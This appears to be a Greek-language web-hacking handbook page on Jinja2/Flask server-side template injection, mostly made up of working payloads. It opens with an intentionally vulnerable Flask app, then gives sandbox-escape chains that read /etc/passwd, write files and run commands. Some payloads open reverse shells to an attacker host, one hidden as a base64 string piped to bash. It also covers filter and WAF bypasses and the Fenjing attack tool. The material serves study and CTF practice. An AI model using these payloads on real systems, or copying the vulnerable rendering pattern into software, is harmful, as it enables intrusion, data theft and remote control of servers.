from flask import Flask, request, render_template_stringapp =Flask(__name__)@app.route("/")defhome():if request.args.get('c'):returnrender_template_string(request.args.get('c'))else:return"Hello, send someting inside the param 'c'!"if__name__=="__main__":app.run()
Διάφορα
Δήλωση Εντοπισμού Σφαλμάτων
Εάν η Επέκταση Εντοπισμού Σφαλμάτων είναι ενεργοποιημένη, μια ετικέτα debug θα είναι διαθέσιμη για να εκτυπώσει το τρέχον πλαίσιο καθώς και τους διαθέσιμους φίλτρους και δοκιμές. Αυτό είναι χρήσιμο για να δείτε τι είναι διαθέσιμο προς χρήση στο πρότυπο χωρίς να ρυθμίσετε έναν εντοπιστή σφαλμάτων.
<pre>{% debug %}</pre>
Εκτύπωση όλων των μεταβλητών ρύθμισης
{{ config }}#In these object you can find all the configured env variables{%for key, value in config.items()%}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}
Jinja Injection
Πρώτα απ' όλα, σε μια Jinja injection πρέπει να βρείτε έναν τρόπο να ξεφύγετε από το sandbox και να ανακτήσετε πρόσβαση στη κανονική ροή εκτέλεσης python. Για να το κάνετε αυτό, πρέπει να καταχραστείτε αντικείμενα που είναι από το μη sandboxed περιβάλλον αλλά είναι προσβάσιμα από το sandbox.
Accessing Global Objects
Για παράδειγμα, στον κώδικα render_template("hello.html", username=username, email=email) τα αντικείμενα username και email προέρχονται από το μη sandboxed python env και θα είναι προσβάσιμα μέσα στο sandboxed env.
Επιπλέον, υπάρχουν άλλα αντικείμενα που θα είναι πάντα προσβάσιμα από το sandboxed env, αυτά είναι:
[]
''
()
dict
config
request
Ανάκτηση <class 'object'>
Τότε, από αυτά τα αντικείμενα πρέπει να φτάσουμε στην κλάση: <class 'object'> προκειμένου να προσπαθήσουμε να ανακτήσουμε τις καθορισμένες κλάσεις. Αυτό συμβαίνει επειδή από αυτό το αντικείμενο μπορούμε να καλέσουμε τη μέθοδο __subclasses__ και να πρόσβαση σε όλες τις κλάσεις από το μη sandboxed περιβάλλον python.
Για να αποκτήσετε πρόσβαση σε αυτή την κλάση αντικειμένου, πρέπει να πρόσβαση σε ένα αντικείμενο κλάσης και στη συνέχεια να αποκτήσετε πρόσβαση είτε σε __base__, __mro__()[-1] ή .mro()[-1]. Και μετά, μετά την επίτευξη αυτής της κλάσης αντικειμένου καλούμε __subclasses__().
Δείτε αυτά τα παραδείγματα:
# To access a class object[].__class__''.__class__()["__class__"] # You can also access attributes like thisrequest["__class__"]config.__class__dict#It's already a class# From a class to access the class "object".## "dict" used as example from the previous list:dict.__base__dict["__base__"]dict.mro()[-1]dict.__mro__[-1](dict|attr("__mro__"))[-1](dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]# From the "object" class call __subclasses__(){{dict.__base__.__subclasses__()}}{{dict.mro()[-1].__subclasses__()}}{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))()}}{%with a = dict.mro()[-1].__subclasses__()%}{{ a }}{% endwith %}# Other examples using these ways{{ ().__class__.__base__.__subclasses__()}}{{ [].__class__.__mro__[-1].__subclasses__()}}{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))()}}{{ request.__class__.mro()[-1].__subclasses__()}}{%with a = config.__class__.mro()[-1].__subclasses__()%}{{ a }}{% endwith %}# Not sure if this will work, but I saw it somewhere{{ [].class.base.subclasses()}}{{''.class.mro()[1].subclasses()}}
RCE Escaping
Αφού ανακτήσαμε<class 'object'> και καλέσαμε __subclasses__, μπορούμε τώρα να χρησιμοποιήσουμε αυτές τις κλάσεις για να διαβάσουμε και να γράψουμε αρχεία και να εκτελέσουμε κώδικα.
Η κλήση στο __subclasses__ μας έχει δώσει την ευκαιρία να έχουμε πρόσβαση σε εκατοντάδες νέες συναρτήσεις, θα είμαστε ευχαριστημένοι απλά με την πρόσβαση στην κλάση αρχείου για ανάγνωση/γραφή αρχείων ή οποιαδήποτε κλάση με πρόσβαση σε μια κλάση που επιτρέπει την εκτέλεση εντολών (όπως το os).
Διαβάστε/Γράψτε απομακρυσμένο αρχείο
# ''.__class__.__mro__[1].__subclasses__()[40] = File class{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}{{''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !')}}
RCE
# The class 396 is the class <class 'subprocess.Popen'>{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}# Without '{{' and '}}'<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
# Calling os.popen without guessing the index of the class{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
## Passing the cmd line ?cmd=id, Without " and '{{dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip()}}
Για να μάθετε για περισσότερες κλάσεις που μπορείτε να χρησιμοποιήσετε για να ξεφύγετε, μπορείτε να ελέγξετε:
Αυτές οι παρακάμψεις θα μας επιτρέψουν να πρόσβαση στα χαρακτηριστικά των αντικειμένων χωρίς να χρησιμοποιήσουμε κάποιους χαρακτήρες.
Έχουμε ήδη δει μερικές από αυτές τις παρακάμψεις στα παραδείγματα του προηγούμενου, αλλά ας τις συνοψίσουμε εδώ:
# Without quotes, _, [, ]## Basic onesrequest.__class__request["__class__"]request['\x5f\x5fclass\x5f\x5f']request|attr("__class__")request|attr(["_"*2,"class","_"*2]|join) # Join trick## Using request object optionsrequest|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to stringhttp://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_# Using with{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
Από τα παγκόσμια αντικείμενα υπάρχει ένας άλλος τρόπος για να αποκτήσετε RCE χωρίς να χρησιμοποιήσετε αυτή την κλάση.
Αν καταφέρετε να αποκτήσετε πρόσβαση σε οποιαδήποτε συνάρτηση από αυτά τα παγκόσμια αντικείμενα, θα μπορείτε να αποκτήσετε πρόσβαση στο __globals__.__builtins__ και από εκεί το RCE είναι πολύ απλό.
Μπορείτε να βρείτε συναρτήσεις από τα αντικείμενα request, config και οποιοδήποτε άλλο ενδιαφέρον παγκόσμιο αντικείμενο που έχετε πρόσβαση με:
{{ request.__class__.__dict__ }}-application-_load_form_data-on_json_loading_failed{{ config.__class__.__dict__ }}-__init__-from_envvar-from_pyfile-from_object-from_file-from_json-from_mapping-get_namespace-__repr__# You can iterate through children objects to find more
Μόλις βρείτε μερικές συναρτήσεις, μπορείτε να ανακτήσετε τα builtins με:
# Read file{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read()}}# RCE{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read()}}{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read()}}{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read()}}{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
## Extra## The global from config have a access to a function called import_string## with this function you don't need to access the builtins{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read()}}# All the bypasses seen in the previous sections are also valid
Fuzzing WAF bypass
Fenjinghttps://github.com/Marven11/Fenjing είναι ένα εργαλείο που είναι εξειδικευμένο σε CTFs αλλά μπορεί επίσης να είναι χρήσιμο για brute force μη έγκυρων παραμέτρων σε ένα πραγματικό σενάριο. Το εργαλείο απλώς ψεκάζει λέξεις και ερωτήματα για να ανιχνεύσει φίλτρα, αναζητώντας παρακάμψεις, και παρέχει επίσης μια διαδραστική κονσόλα.
webui:
As the name suggests, web UI
Default port 11451
scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'
crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'
crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.